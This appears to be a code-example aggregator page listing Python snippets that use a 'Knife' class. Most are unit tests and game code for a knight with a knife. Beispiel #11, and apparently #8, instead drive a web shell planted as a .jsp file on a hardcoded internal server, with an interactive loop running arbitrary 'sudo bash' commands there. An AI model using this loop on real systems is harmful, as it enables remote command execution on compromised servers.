Beispiel #1
0
    def test_attack_by_knife(self):
        KnightTest.knight.arms = Knife()

        # exercise
        pain = self.knight.attack_power()

        # verify
        self.assertEqual(pain, Knife().attack_power())
Beispiel #2
0
    def test_attack_by_knife(self):
        # setup
        knight = self.create_knight(Knife())  # parameterized creation method

        # exercise
        pain = knight.attack_power()

        # verify
        self.assertEqual(pain, Knife().attack_power())
Beispiel #3
0
    def test_attack_by_knife(self):
        # in-line setup
        knight = Knight(100)
        knight.arms = Knife()

        # exercise
        pain = knight.attack_power()

        # verify
        self.assertEqual(pain, Knife().attack_power())
    def test_attack_by_knife(self):
        # setup
        knight = self.create_anonymous_knight()  # anonymous creation method
        knight.arms = Knife()

        # exercise
        pain = knight.attack_power()

        # verify
        self.assertEqual(pain, Knife().attack_power())
Beispiel #5
0
    def test_attack_by_knife(self):
        # setup
        knight = self.create_knight_with_knife()  # delegated setup

        # exercise
        pain = knight.attack_power()

        # verify
        self.assertEqual(pain, Knife().attack_power())
Beispiel #6
0
 def create_knife(self):
     knife = Knife(Money(300.05, self._currency), 'Vader')
     knife.armor_piercing = 80
     knife.blade_length = 20
     knife.material = 'steel'
     return knife
Beispiel #7
0
import weapon
from gun import Gun
from knife import Knife

a = weapon.Weapon('몽둥이', 3)
b = Gun('M4', 3000, 2)
c = Knife('단검', 100, 2)

a.attack()
b.attack()
b.attack()
b.attack()
c.attack()
c.attack()
c.attack()
Beispiel #8
0
def equip(url):
    kf = Knife(url, 'twsm')
    kf.copy('')
Beispiel #9
0
 def create_knife(self):
     """ Create new knife """
     self.knife = Knife(self.GAME_CONFIG)
     self.knife_list.append(self.knife)
Beispiel #10
0
 def create_knife(self):
     knife = Knife(Money(200, self._currency), 'F**k')
     knife.armor_piercing = 60
     knife.blade_length = 30
     knife.material = 'steel'
     return knife
Beispiel #11
0
import os
from knife import Knife

url = "http://10.3.25.12:8004/rescloud/temp/a2f19f84-4ed9-4935-87ca-abec975ea328.jsp"
k = Knife(url, 'twsm')
cwd = k.exec('pwd')

while True:
    cmd = input('$ ').strip()
    if cmd == 'exit':
        break
    elif cmd.startswith('cd'):
        result = k.exec(f'sudo bash -c "cd {cwd} && {cmd} && pwd"')
        if result.startswith('/'):
            cwd = result
        else:
            print(result)
    else:
        cmd = f'sudo bash -c "cd {cwd} && {cmd}"'
        result = k.exec(cmd)
        print(result)
            
Beispiel #12
0
 def create_knight_with_knife(self):
     knight = self.create_knight()
     knight.arms = Knife()
     return knight